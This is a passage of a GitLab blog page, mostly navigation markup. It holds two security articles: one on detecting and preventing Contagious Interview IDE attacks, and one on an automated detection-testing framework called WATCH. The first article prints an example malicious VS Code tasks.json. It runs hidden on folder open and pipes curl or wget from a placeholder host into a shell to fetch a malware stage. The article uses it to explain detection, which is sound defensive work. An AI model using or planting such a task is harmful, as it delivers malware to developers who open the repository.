Services",{"href":264,"dataGaName":265,"dataGaLocation":42},"/services/","services",{"text":267,"config":268},"Community",{"href":269,"dataGaName":270,"dataGaLocation":42},"/community/","community",{"text":272,"config":273},"Forum",{"href":274,"dataGaName":275,"dataGaLocation":42},"https://forum.gitlab.com/","forum",{"text":277,"config":278},"Events",{"href":279,"dataGaName":280,"dataGaLocation":42},"/events/","events",{"text":282,"config":283},"Partners",{"href":284,"dataGaName":285,"dataGaLocation":42},"/partners/","partners",{"config":287,"title":290,"text":291,"link":292},{"background":288,"textColor":289},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","What’s new in GitLab","Stay updated with our latest features and improvements.",{"text":293,"config":294},"Read the latest",{"href":295,"dataGaName":296,"dataGaLocation":42},"/releases/whats-new/","whats new",{"text":298,"config":299,"menu":301},"Company",{"dataNavLevelOne":300},"company",{"type":93,"columns":302},[303],{"items":304},[305,310,316,318,323,328,333,338,343,348,353],{"text":306,"config":307},"About",{"href":308,"dataGaName":309,"dataGaLocation":42},"/company/","about",{"text":311,"config":312,"footerGa":315},"Jobs",{"href":313,"dataGaName":314,"dataGaLocation":42},"/jobs/","jobs",{"dataGaName":314},{"text":277,"config":317},{"href":279,"dataGaName":280,"dataGaLocation":42},{"text":319,"config":320},"Leadership",{"href":321,"dataGaName":322,"dataGaLocation":42},"/company/team/e-group/","leadership",{"text":324,"config":325},"Team",{"href":326,"dataGaName":327,"dataGaLocation":42},"/company/team/","team",{"text":329,"config":330},"Handbook",{"href":331,"dataGaName":332,"dataGaLocation":42},"https://handbook.gitlab.com/","handbook",{"text":334,"config":335},"Investor relations",{"href":336,"dataGaName":337,"dataGaLocation":42},"https://ir.gitlab.com/","investor relations",{"text":339,"config":340},"Trust Center",{"href":341,"dataGaName":342,"dataGaLocation":42},"/security/","trust center",{"text":344,"config":345},"AI Transparency Center",{"href":346,"dataGaName":347,"dataGaLocation":42},"/ai-transparency-center/","ai transparency center",{"text":349,"config":350},"Newsletter",{"href":351,"dataGaName":352,"dataGaLocation":42},"/company/contact/#contact-forms","newsletter",{"text":354,"config":355},"Press",{"href":356,"dataGaName":357,"dataGaLocation":42},"/press/","press",{"text":359,"config":360,"menu":361},"Contact us",{"dataNavLevelOne":300},{"type":93,"columns":362},[363],{"items":364},[365,368,373],{"text":49,"config":366},{"href":51,"dataGaName":367,"dataGaLocation":42},"talk to sales",{"text":369,"config":370},"Support portal",{"href":371,"dataGaName":372,"dataGaLocation":42},"https://support.gitlab.com","support portal",{"text":374,"config":375},"Customer portal",{"href":376,"dataGaName":377,"dataGaLocation":42},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":379,"login":380,"suggestions":387},"Close",{"text":381,"link":382},"To search repositories and projects, login to",{"text":383,"config":384},"gitlab.com",{"href":56,"dataGaName":385,"dataGaLocation":386},"search login","search",{"text":388,"default":389},"Suggestions",[390,392,396,398,402,406],{"text":73,"config":391},{"href":78,"dataGaName":73,"dataGaLocation":386},{"text":393,"config":394},"Code Suggestions (AI)",{"href":395,"dataGaName":393,"dataGaLocation":386},"/solutions/code-suggestions/",{"text":109,"config":397},{"href":111,"dataGaName":109,"dataGaLocation":386},{"text":399,"config":400},"GitLab on AWS",{"href":401,"dataGaName":399,"dataGaLocation":386},"/partners/technology-partners/aws/",{"text":403,"config":404},"GitLab on Google Cloud",{"href":405,"dataGaName":403,"dataGaLocation":386},"/partners/technology-partners/google-cloud-platform/",{"text":407,"config":408},"Why GitLab?",{"href":86,"dataGaName":407,"dataGaLocation":386},{"freeTrial":410,"mobileIcon":415,"desktopIcon":420,"secondaryButton":423},{"text":411,"config":412},"Start free trial",{"href":413,"dataGaName":47,"dataGaLocation":414},"https://gitlab.com/-/trials/new/","nav",{"altText":416,"config":417},"Gitlab Icon",{"src":418,"dataGaName":419,"dataGaLocation":414},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":416,"config":421},{"src":422,"dataGaName":419,"dataGaLocation":414},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":424,"config":425},"Get Started",{"href":426,"dataGaName":427,"dataGaLocation":414},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/get-started/","get started",{"freeTrial":429,"mobileIcon":433,"desktopIcon":435},{"text":430,"config":431},"Learn more about GitLab Duo",{"href":78,"dataGaName":432,"dataGaLocation":414},"gitlab duo",{"altText":416,"config":434},{"src":418,"dataGaName":419,"dataGaLocation":414},{"altText":416,"config":436},{"src":422,"dataGaName":419,"dataGaLocation":414},{"button":438,"mobileIcon":443,"desktopIcon":445},{"text":439,"config":440},"/switch",{"href":441,"dataGaName":442,"dataGaLocation":414},"#contact","switch",{"altText":416,"config":444},{"src":418,"dataGaName":419,"dataGaLocation":414},{"altText":416,"config":446},{"src":447,"dataGaName":419,"dataGaLocation":414},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":449,"mobileIcon":454,"desktopIcon":456},{"text":450,"config":451},"Back to pricing",{"href":191,"dataGaName":452,"dataGaLocation":414,"icon":453},"back to pricing","GoBack",{"altText":416,"config":455},{"src":418,"dataGaName":419,"dataGaLocation":414},{"altText":416,"config":457},{"src":422,"dataGaName":419,"dataGaLocation":414},{"title":459,"button":460,"config":465},"See how agentic AI transforms software delivery",{"text":461,"config":462},"Sign up for GitLab Transcend on June 10",{"href":463,"dataGaName":464,"dataGaLocation":42},"/releases/whats-new/#sign-up","transcend event",{"layout":466,"icon":467,"disabled":31},"release","AiStar",{"data":469},{"text":470,"source":471,"edit":477,"contribute":482,"config":487,"items":492,"minimal":699},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":472,"config":473},"View page source",{"href":474,"dataGaName":475,"dataGaLocation":476},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":478,"config":479},"Edit this page",{"href":480,"dataGaName":481,"dataGaLocation":476},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":483,"config":484},"Please contribute",{"href":485,"dataGaName":486,"dataGaLocation":476},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":488,"facebook":489,"youtube":490,"linkedin":491},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[493,540,594,638,665],{"title":189,"links":494,"subMenu":509},[495,499,504],{"text":496,"config":497},"View plans",{"href":191,"dataGaName":498,"dataGaLocation":476},"view plans",{"text":500,"config":501},"Why Premium?",{"href":502,"dataGaName":503,"dataGaLocation":476},"/pricing/premium/","why premium",{"text":505,"config":506},"Why Ultimate?",{"href":507,"dataGaName":508,"dataGaLocation":476},"/pricing/ultimate/","why ultimate",[510],{"title":511,"links":512},"Contact Us",[513,516,518,520,525,530,535],{"text":514,"config":515},"Contact sales",{"href":51,"dataGaName":52,"dataGaLocation":476},{"text":369,"config":517},{"href":371,"dataGaName":372,"dataGaLocation":476},{"text":374,"config":519},{"href":376,"dataGaName":377,"dataGaLocation":476},{"text":521,"config":522},"Status",{"href":523,"dataGaName":524,"dataGaLocation":476},"https://status.gitlab.com/","status",{"text":526,"config":527},"Terms of use",{"href":528,"dataGaName":529,"dataGaLocation":476},"/terms/","terms of use",{"text":531,"config":532},"Privacy statement",{"href":533,"dataGaName":534,"dataGaLocation":476},"/privacy/","privacy statement",{"text":536,"config":537},"Cookie preferences",{"dataGaName":538,"dataGaLocation":476,"id":539,"isOneTrustButton":13},"cookie preferences","ot-sdk-btn",{"title":89,"links":541,"subMenu":550},[542,546],{"text":543,"config":544},"DevSecOps platform",{"href":71,"dataGaName":545,"dataGaLocation":476},"devsecops platform",{"text":547,"config":548},"AI-Assisted Development",{"href":78,"dataGaName":549,"dataGaLocation":476},"ai-assisted development",[551],{"title":552,"links":553},"Topics",[554,559,564,569,574,579,584,589],{"text":555,"config":556},"CICD",{"href":557,"dataGaName":558,"dataGaLocation":476},"/topics/ci-cd/","cicd",{"text":560,"config":561},"GitOps",{"href":562,"dataGaName":563,"dataGaLocation":476},"/topics/gitops/","gitops",{"text":565,"config":566},"DevOps",{"href":567,"dataGaName":568,"dataGaLocation":476},"/topics/devops/","devops",{"text":570,"config":571},"Version Control",{"href":572,"dataGaName":573,"dataGaLocation":476},"/topics/version-control/","version control",{"text":575,"config":576},"DevSecOps",{"href":577,"dataGaName":578,"dataGaLocation":476},"/topics/devsecops/","devsecops",{"text":580,"config":581},"Cloud Native",{"href":582,"dataGaName":583,"dataGaLocation":476},"/topics/cloud-native/","cloud native",{"text":585,"config":586},"AI for Coding",{"href":587,"dataGaName":588,"dataGaLocation":476},"/topics/devops/ai-for-coding/","ai for coding",{"text":590,"config":591},"Agentic AI",{"href":592,"dataGaName":593,"dataGaLocation":476},"/topics/agentic-ai/","agentic ai",{"title":595,"links":596},"Solutions",[597,599,601,606,610,613,617,620,622,625,628,633],{"text":133,"config":598},{"href":128,"dataGaName":133,"dataGaLocation":476},{"text":122,"config":600},{"href":105,"dataGaName":106,"dataGaLocation":476},{"text":602,"config":603},"Agile development",{"href":604,"dataGaName":605,"dataGaLocation":476},"/solutions/agile-delivery/","agile delivery",{"text":607,"config":608},"SCM",{"href":118,"dataGaName":609,"dataGaLocation":476},"source code management",{"text":555,"config":611},{"href":111,"dataGaName":612,"dataGaLocation":476},"continuous integration & delivery",{"text":614,"config":615},"Value stream management",{"href":161,"dataGaName":616,"dataGaLocation":476},"value stream management",{"text":560,"config":618},{"href":619,"dataGaName":563,"dataGaLocation":476},"/solutions/gitops/",{"text":171,"config":621},{"href":174,"dataGaName":175,"dataGaLocation":476},{"text":623,"config":624},"Small business",{"href":180,"dataGaName":181,"dataGaLocation":476},{"text":626,"config":627},"Public sector",{"href":186,"dataGaName":187,"dataGaLocation":476},{"text":629,"config":630},"Education",{"href":631,"dataGaName":632,"dataGaLocation":476},"/solutions/education/","education",{"text":634,"config":635},"Financial services",{"href":636,"dataGaName":637,"dataGaLocation":476},"/solutions/finance/","financial services",{"title":194,"links":639},[640,642,644,646,649,651,653,655,657,659,661,663],{"text":207,"config":641},{"href":209,"dataGaName":210,"dataGaLocation":476},{"text":212,"config":643},{"href":214,"dataGaName":215,"dataGaLocation":476},{"text":217,"config":645},{"href":219,"dataGaName":220,"dataGaLocation":476},{"text":222,"config":647},{"href":224,"dataGaName":648,"dataGaLocation":476},"docs",{"text":245,"config":650},{"href":247,"dataGaName":248,"dataGaLocation":476},{"text":240,"config":652},{"href":242,"dataGaName":243,"dataGaLocation":476},{"text":254,"config":654},{"href":256,"dataGaName":257,"dataGaLocation":476},{"text":262,"config":656},{"href":264,"dataGaName":265,"dataGaLocation":476},{"text":267,"config":658},{"href":269,"dataGaName":270,"dataGaLocation":476},{"text":272,"config":660},{"href":274,"dataGaName":275,"dataGaLocation":476},{"text":277,"config":662},{"href":279,"dataGaName":280,"dataGaLocation":476},{"text":282,"config":664},{"href":284,"dataGaName":285,"dataGaLocation":476},{"title":298,"links":666},[667,669,671,673,675,677,679,683,688,690,692,694],{"text":306,"config":668},{"href":308,"dataGaName":300,"dataGaLocation":476},{"text":311,"config":670},{"href":313,"dataGaName":314,"dataGaLocation":476},{"text":319,"config":672},{"href":321,"dataGaName":322,"dataGaLocation":476},{"text":324,"config":674},{"href":326,"dataGaName":327,"dataGaLocation":476},{"text":329,"config":676},{"href":331,"dataGaName":332,"dataGaLocation":476},{"text":334,"config":678},{"href":336,"dataGaName":337,"dataGaLocation":476},{"text":680,"config":681},"Sustainability",{"href":682,"dataGaName":680,"dataGaLocation":476},"/sustainability/",{"text":684,"config":685},"Diversity, inclusion and belonging (DIB)",{"href":686,"dataGaName":687,"dataGaLocation":476},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":339,"config":689},{"href":341,"dataGaName":342,"dataGaLocation":476},{"text":349,"config":691},{"href":351,"dataGaName":352,"dataGaLocation":476},{"text":354,"config":693},{"href":356,"dataGaName":357,"dataGaLocation":476},{"text":695,"config":696},"Modern Slavery Transparency Statement",{"href":697,"dataGaName":698,"dataGaLocation":476},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":700},[701,704,707],{"text":702,"config":703},"Terms",{"href":528,"dataGaName":529,"dataGaLocation":476},{"text":705,"config":706},"Cookies",{"dataGaName":538,"dataGaLocation":476,"id":539,"isOneTrustButton":13},{"text":708,"config":709},"Privacy",{"href":533,"dataGaName":534,"dataGaLocation":476},[711],{"id":712,"title":9,"body":25,"config":713,"content":716,"description":25,"extension":24,"meta":721,"navigation":13,"path":722,"seo":723,"stem":724,"__hash__":725},"blogAuthors/en-us/blog/authors/oliver-smith.yml",{"template":714,"gitlabHandle":715},"BlogAuthor","ojsmith",{"name":9,"role":717,"bio":718,"config":719},"","Senior Threat Intelligence Engineer",{"headshot":720},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1769722302/juupgr8w0batn0fek4xp.jpg",{},"/en-us/blog/authors/oliver-smith",{},"en-us/blog/authors/oliver-smith","As55YdsLIHnkiElMCl4VahGEjaCR5uH_Py6RHVb0uxE",[727,741,754],{"content":728,"config":739},{"title":729,"description":730,"authors":731,"heroImage":733,"date":734,"body":735,"category":11,"tags":736},"How to detect and prevent Contagious Interview IDE attacks","Learn how we built custom controls that detect and prevent malware campaigns like those used for Contagious Interview and how to deploy them in your environment.",[732],"Josh Feehs","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774375772/kpaaaiqhokevxxeoxvu0.png","2026-05-04","Recently, GitLab's Threat Intelligence team, part of the Security Operations team, published an [extensive article](https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/) revealing North Korean tradecraft and detailing ways in which GitLab has tracked and disrupted these malicious actors. Security Operations here also includes our Security Incident Response Team (SIRT), Security Logging, Signals Intelligence, and Red Team. This tight collaboration across security disciplines allows us to take tips from threat intelligence, emulate relevant threat actors via Red and Purple Team exercises, and proactively build detection and prevention techniques based on that activity.\n\nSo, in parallel with the discovery of the North Korean tradecraft and associated [Contagious Interview](https://attack.mitre.org/groups/G1052/) threat campaign, we developed custom controls to prevent similar malware campaigns, specifically those which use IDE attacks. In this article, we share those controls as well as the techniques we use to protect our customers, support the broader security community, and further thwart these malicious actors.\n\n## The threat intelligence\n\nThe North Korean tradecraft article focused on a broad set of attacks, techniques, and Indicators of Compromise (IOCs) that North Korean state actors are actively using to conduct both broad and targeted attacks. One of [the attack paths noted](https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/#_2025-campaign-trends) was the use of Visual Studio Code tasks for malware distribution. The [Contagious Interview](https://attack.mitre.org/groups/G1052/) threat campaign often relies on fake interview processes to convince their victims to download and open a code repository, enabling attack via VS Code tasks.\n\n[VS Code tasks](https://code.visualstudio.com/docs/debugtest/tasks) are a mechanism designed to automate common jobs that developers want to run when opening a repository, such as linting, building, packaging, testing, or deploying software systems. Via a simple configuration file within the repo, `tasks.json`, developers can automatically run code whenever they open their repository. Trust must be granted to the repository for these tasks to run.\n\nContagious Interview’s pretexts often rely on malicious repositories, so pivoting to using VS Code tasks for code execution is a simple continuation of their pretext. The target is prompted to download and open the malicious repository in VS Code (often for code review purposes as part of an interview). Because the victims believe they are interviewing for a job, the victim is under heavy pressure to “trust” the interviewer’s workspace, enabling the malicious task to run without their knowledge.\n\nOne example of a malicious `tasks.json` file is shown below. It is fairly simple — it detects the OS and downloads the next stage of the malware for that platform, using a `curl | bash` structure. Domains included are placeholders and not actual IOCs. Detailed IOCs for these actors were shared in our [previous blog post](https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/#appendix-2-indicators-of-compromise).\n\n\n```json\n  \"version\": \"1.0.8\",\n  \"tasks\": [\n    {\n      \"label\": \"env\",\n      \"type\": \"shell\",\n      \"osx\": {\n        \"command\": \"curl 'https://www.example[.]com/settings/mac?flag=8' | bash\"\n      },\n      \"linux\": {\n        \"command\": \"wget -q0- 'https://www.example[.]com/settings/linux?flag=8' | sh\"\n      },\n      \"windows\": {\n        \"command\": \"curl https://www.example[.]com/settings/windows?flag=8 | cmd\"\n      },\n      \"problemMatcher\": [],\n      \"presentation\": {\n        \"reveal\": \"never\",\n        \"echo\": false,\n        \"focus\": false,\n        \"close\": true,\n        \"panel\": \"dedicated\",\n        \"showReuseMessage\": false\n      },\n      \"runOptions\": {\n        \"runOn\": \"folderOpen\"\n      }\n    }\n  ]\n```\n\nThis malicious code execution is then typically used to deploy infostealers, steal passwords and cryptocurrency, and ultimately establish persistence to abuse victims’ trusted accesses to corporate networks.\n\nOnce we understood how the threat actor was gaining initial code execution, we had a target for preventative measures to catch these attacks before GitLab workstations were targeted.\n\n## Multi-faceted detection and prevention\n\nWe always want to develop detective and preventative controls that are as “low level” as possible, since these types of detections are typically more difficult to bypass. Additionally, threat intelligence indicated that other projects that forked VS Code are also vulnerable to this malicious repository attack. So, instead of focusing specifically on a VS Code detection, we wanted to find the area “closest to the operating system” where this malicious code execution could be identified. This would allow our detection techniques to detect not only exploitation via VS Code tasks, but also attacks targeting using a VS Code fork or similar IDE written in Node that has background tasks.  \n   \nReviewing VS Code source, we identified that the `node-pty.spawn()` library call is used across the product when subprocesses need to be used. The [node-pty library](https://www.npmjs.com/package/node-pty) is incredibly popular, with over a million weekly downloads at time of writing. This library enables Node applications (including Electron applications such as VS Code) to fork subprocesses from a node context, and results in calls to its own binary, `spawn-helper`. When subprocesses are launched, `spawn-helper` is spawned as a child process of the Node application calling it.\n\nAfter performing a Purple Team operation to emulate this specific attack path, we reviewed our Endpoint Detection and Response (EDR) telemetry to try to not only develop a strong detection for the emulated attack, but also to tune this detection to only alert on suspicious activity, and not on legitimate developer activity. We identified that `spawn-helper` is called in situations where VS Code wants to spawn tasks that occur in the *background*, without user visibility or interaction. Conversely, a `Code Helper` binary is called when new processes (such as the integrated Terminal) are launched in the *foreground* with user interaction.\n\nThis allows us to craft detections that only look for subprocesses spawned without the user’s knowledge, and avoid false positives that flag subprocesses a user might intentionally spawn while using their IDE.\n\nAs shown earlier, a commonly-seen malicious task contains commands that run a `curl | \u003Cshell>` from a task. Although `curl | bash` can be a legitimate way to install software like Homebrew, in our environment, it should never happen in the background without the user’s knowledge. This distinction allowed us to tune `spawn-helper`\\-based detections to not alert on *every* background task that ran, but to instead trigger only on behaviors that are uncommon and suspicious in our environment. Since implementing this detection technique, we have had no false positives, even though a large part of our organization uses VS Code daily.\n\nAlthough this article has focused on detecting `spawn-helper` in your environment, this is only one of many layers of defense that you can implement in your organization to prevent and detect these IDE task-based attacks.\n\nIn addition to using EDR instrumentation to detect a malicious task at runtime, you can proactively harden your fleet against this type of attack by pushing global configs to disable task runs in VS Code. If that is too disruptive to your developers, you can also scan your environment to enumerate how often users use trusted workspaces and trusted workspace folders within their typical VS Code usage, and run education campaigns to help inform the company about the risks posed by this Contagious Interview attack path.\n\n## Summary\n\nGitLab Security Operations works around the clock to protect our customers and our company. With our tightly coupled security teams, we are able to produce actionable threat intelligence, leverage that threat intel to inform adversary emulation operations, and ultimately develop technical and procedural prevention and detection techniques that protect our customers and company.\n\nAs VS Code tasks continue to receive visibility in the security community, it’s possible that other threat actors will attempt to use this attack path for their own ends. We hope that this small example of the work we do to protect GitLab and our customers against Advanced Persistent Threats can inspire others to do the same, and to join us in our continued mission to disrupt these threat actors. \n\n> Follow our innovation and research on our [Security Labs site](https://about.gitlab.com/blog/categories/security-labs/).",[22,23,737,738],"product","tutorial",{"featured":31,"template":14,"slug":740},"how-to-detect-and-prevent-contagious-interview-ide-attacks",{"content":742,"config":752},{"title":743,"description":744,"authors":745,"heroImage":747,"date":748,"body":749,"category":11,"tags":750},"Build an automated detection testing framework with GitLab CI/CD and Duo","Learn how GitLab's Signals Engineering team built the WATCH framework to continuously validate our security monitoring pipeline.",[746],"Evan Baltman","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png","2026-04-30","When it comes to managing a healthy alerting system for your security operations center (SOC), tuning false positives is only half the battle. An often overlooked aspect of a healthy alerting system is making sure that critical detections which rarely fire haven’t simply broken completely without anybody noticing.\n\nAt GitLab, the Signals Engineering team tests detections by simulating real malicious behavior on infrastructure we own to validate that our detections fire end-to-end — from the log source, through ingestion, into the SIEM, and all the way through our security orchestration, automation, and response (SOAR) alert routing. This is the approach taken by commercial Breach and Attack Simulation (BAS) tools, but those tools are expensive, generic, and not tailored to our specific detection stack. So we built our own fully automated framework we named Weekly Attack Testing for Continuous Health, or WATCH.\n\nIn this article, you'll learn why we developed this framework, how it works, and how to use it in your environment. \n\n##  A gap in detection validation\n\nWith log schema changes, SIEM updates, pipeline misconfigurations, etc. there are a million ways for your detections to fail silently and only one way for them to fire as expected. When faced with these odds, the conclusion is obvious: “Let’s trigger some old detections\\!” This raises the next question, however, of “How exactly does one trigger detections?” and “How often?”\n\nOne way to trigger detections is through the synthetic approach of reintroducing logs into your SIEM that simulate malicious behavior. Then, you wait to see if your detection rule catches the fake issue and triggers an alert. This approach, aside from failing to prove the detection works in a “real world” scenario, doesn’t validate one of the most error-prone stages of the alert lifecycle, log ingestion (i.e. from log source to SIEM).\n\nWe previously wrote about how our [GitLab Universal Automated Response and Detection (GUARD) system](https://about.gitlab.com/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd/) automates detection creation and deployment through a detections as code (DaC) pipeline and how alerts are routed and triaged through our SOAR. Our DaC pipelines solve the problem of validating that a detection *can deploy* without errors, but it doesn't answer the question of whether that detection will actually *fire* when the behavior it targets occurs in the wild.\n\nWATCH closes that gap. It's the continuous validation layer that gives us confidence that our detections are working.\n\n## How WATCH works\n\nAt a high level, WATCH works by executing scripted attack simulations in our staging environment, and then verifying that the expected alerts propagate through our entire security monitoring stack: our SIEM for detection rules, our SOAR for alert routing, and ultimately the dashboards our team uses to monitor detection health.\n\nThe lifecycle of a WATCH test looks like this:\n\n1. **Scheduling**: Every week, a scheduled GitLab CI/CD pipeline discovers all active tests and distributes them into randomized time slots across the week. Randomization is important; we don't want tests firing at predictable times, which would make it too easy to distinguish test activity from real threats and could mask timing-sensitive issues with our detections.  \n2. **Heads-up notification**: Before a test runs, WATCH notifies our SOAR via a dedicated \"WATCH Heads Up\" story, registering the detections it expects to trigger. This creates trackable records so our SOAR knows what's coming.  \n3. **Execution**: The test runs its simulated malicious behavior. For example, it resets an admin account password or makes suspicious API calls against the staging environment.  \n4. **Detection**: The SIEM processes the activity logs from staging and (hopefully) fires the corresponding detection rules.  \n5. **Correlation**: As alerts arrive in our SOAR, an \"Is this a WATCH Test?\" check determines whether each alert corresponds to a registered test by matching on three factors: the time window between the test run and the alert, the actor identity (IP or username), and the rule ID of the detection that fired. This is what prevents WATCH-generated alerts from being escalated as real incidents to SIRT, while still validating the full pipeline.  \n6. **Verification**: A follow-up pipeline stage checks whether all expected detections fired, updates the detection status metadata, and deploys updated results to our GitLab Pages dashboard. If any detection fails to fire, a notification is sent to our team's Slack channel.\n\n## Using WATCH with GitLab CI/CD\n\nWATCH leverages GitLab CI/CD as its orchestration backbone across three pipeline stages.\n\nThe **schedule_pipelines** stage runs weekly and handles test distribution. It discovers all active tests, bins them into groups, and creates scheduled pipelines set to run at random times throughout the week. Each scheduled pipeline is given a `TESTS_TO_RUN` variable specifying which tests it should execute.\n\nThe **run_tests** stage is where the actual attack simulation happens. It executes the tests assigned to that pipeline run, saves execution statistics to `detection_status.json`, and records SOAR record IDs so alert correlation can happen downstream.\n\nThe **pages** stage handles verification and reporting. It queries our SOAR to confirm that alerts were generated and properly routed, updates detection metadata with the verification results, and deploys the GitLab Pages dashboard with the latest test outcomes.\n\nBelow is a template GitLab CI/CD `gitlab-ci.yml` configuration file for the WATCH pipeline:\n\n```\nspec:\n  inputs:\n    weekly_scheduling:\n      type: boolean\n      default: false\n      description: \"Enable weekly scheduling of detection tests.\"\n    update_pages:\n      type: boolean\n      default: false\n      description: \"For triggering the update of GitLab Pages dashboard.\"\n\n---\n\n# Specify the Docker image to use for the job\nimage: python:3.12\n\nstages:\n  - schedule_pipelines\n  - run_tests\n  - pages\n\n# Job to manage scheduled pipelines (runs when weekly_scheduling input is true)\nmanage_scheduled_pipelines:\n  stage: schedule_pipelines\n  script:\n    - pip install -r requirements.txt\n    - python scripts/manage_scheduled_pipelines.py\n  rules:\n    - if: $TESTS_TO_RUN == null && $CI_PIPELINE_SOURCE == \"schedule\" && [[ inputs.weekly_scheduling ]] == true\n      when: on_success\n    - when: never\n\n# Job to run detection tests, save tines_record_id to detection_status.json, and commit\nrun_detection_tests:\n  stage: run_tests\n  script:\n    - pip install -r requirements.txt\n    - python main.py --prod --save-stats --scheduled-tests\n  rules:\n    - if: $TESTS_TO_RUN\n      when: on_success\n    - when: never\n\n# Job to verify alerts, update detection_status.json, commit, and deploy pages\npages:\n  stage: pages\n  script:\n    - pip install -r requirements.txt\n    - python scripts/verify_and_update_detections.py --tines-api-key ${TINES_API_KEY}\n    - mkdir -p public/data\n    - cp detection_status.json public/data/\n    - cp -r static/* public/\n  pages: true  # Required for GitLab 17.9+ to trigger Pages deployment\n  artifacts:\n    paths:\n      - public\n  rules:\n    - if: $TESTS_TO_RUN == null && [[ inputs.update_pages ]] == true\n      when: on_success\n    - when: never\n```\n\n## How we write tests with GitLab Duo\n\nOne of the design priorities for WATCH was making it easy for anyone on the Signals Engineering or SIRT team to add new tests. The framework provides a `BaseSecurityTest` abstract class that handles all the boilerplate tasks — test ID generation, actor identity management, SOAR coordination — so that test authors only need to focus on three things: setting up the test environment, executing the simulated malicious behavior, and cleaning up afterward.\n\n```py\nclass BaseSecurityTest(ABC):\n\n    def __init__(self, config = {}, test_id: Optional[str] = None):\n        self.test_id = test_id or str(uuid.uuid4())\n        self.test_name = self.__class__.__name__\n        self.expected_detections = {}\n        self.actor_id = config.get('gitlab', {}).get(\n            'default_actor_id',\n            \"sirt_detection_test_user_\" + self.test_id[:8]\n        )\n        self.isActive = True\n        self.test_run_time = 300\n        self.config = config\n\n    @abstractmethod\n    def setup(self) -> bool:\n        \"\"\"Prepare test environment and resources\"\"\"\n\n    @abstractmethod\n    def execute(self) -> Dict[str, Any]:\n        \"\"\"Execute the malicious behavior simulation\"\"\"\n\n    @abstractmethod\n    def cleanup(self) -> bool:\n        \"\"\"Clean up test environment and resources\"\"\"\n```\n\nThe key configuration is the `expected_detections` dictionary, which maps SIEM rule names of the detections we expect to trigger to the actor identity and expected alert arrival time. A new test is just a Python file in the `tests/` directory that subclasses `BaseSecurityTest`, defines its simulated behavior, and declares which detections it expects to trigger. The test runner automatically discovers it on the next scheduled run.\n\nThis low-friction interface matters because detection testing only works as a practice if the team actually writes tests. If adding a test requires understanding the full pipeline internals, nobody will do it. The simple contract to implement setup, execute, and cleanup, and declare your expected detections, also makes WATCH tests a great candidate for [GitLab Duo](https://about.gitlab.com/gitlab-duo/), GitLab's AI assistant. Give Duo the base class and a prompt like “Make me a test that clones lots of projects from a target group” or “Make me a test that accesses all the CI variables in this project using GraphQL,” or even “Rename all these projects to use the same naming scheme.\"\" Duo can then scaffold a working WATCH test that plugs directly into the framework. This lowers the barrier even further: An engineer can go from \"I want to test this detection\" to a running test with Duo doing most of the implementation work.\n\nPro Tip: To make GitLab Duo even more effective, I used [Duo Agent Skills](https://docs.gitlab.com/user/duo_agent_platform/customize/agent_skills/), which is perfect for defining standards and procedures for routine work like writing tests. In our project directory there is a folder called `skills/WATCH-test-creator` with a SKILL.md outlining what a good test looks like, helper functions the test can use, and what the project is for. This file is read immediately after a prompt like the ones above are entered, which makes having to constantly remind Duo what it is you’re doing and how to do it no longer necessary. Most importantly, it makes the results consistent and higher quality! Here is a snippet of that file:\n\n````text\n---\nname: WATCH-test-creator\ndescription: Create WATCH (Orchestrated Offensive Penetration Simulator) security detection tests that simulate malicious behavior on GitLab infrastructure to validate SIEM detection rules and alerting pipelines.\n---\n\n## WATCH Test Creator\n\nYou are an expert at writing security detection tests for the WATCH framework. WATCH tests simulate malicious activities on GitLab-owned infrastructure to verify that the SecOps security monitoring stack (Elastic SIEM, Tines SOAR, alerting rules) properly detects and responds to threats.\n\n### Architecture Overview\n```\nProject Root\n├── core/\n│   ├── base_test.py          # Abstract base class all tests inherit from\n│   ├── test_runner.py         # Auto-discovers and executes tests\n│   └── webhook_manager.py     # Tines/SOAR notification integration\n├── tests/\n│   ├── gitlab/                # GitLab-specific detection tests\n│   └── gcp/                   # GCP-specific detection tests\n├── utils/\n│   ├── gitlab_helper.py       # GitLab API wrapper (users, projects, tokens, webhooks, OAuth)\n│   └── crypto_utils.py        # Password generation utility\n├── config/\n│   ├── settings.py            # Config loader (reads YAML + GITLAB_ADMIN_PAT env var)\n│   └── environments/\n│       ├── dev.yaml           # Local GDK config\n│       └── prod.yaml          # Production staging.gitlab.com config\n├── main.py                    # Entry point with CLI args\n└── detection_status.json      # Test results and detection metadata\n```\n\n````\n\n## Improved visibility through test dashboards\n\n![Test dashboards](https://res.cloudinary.com/about-gitlab-com/image/upload/v1777574679/ylrc96iip682sinfg7zi.png)\n\nWATCH also deploys two interactive dashboards via [GitLab Pages](https://docs.gitlab.com/user/project/pages/) that give the team real-time visibility into detection health.\n\n* The **Detection Status Dashboard** provides an overview of all detection rules and their current test status, including metrics like how many times each detection has fired, its current pass/fail state, and how long the detection has been active. The table is filterable and sortable, so engineers can quickly 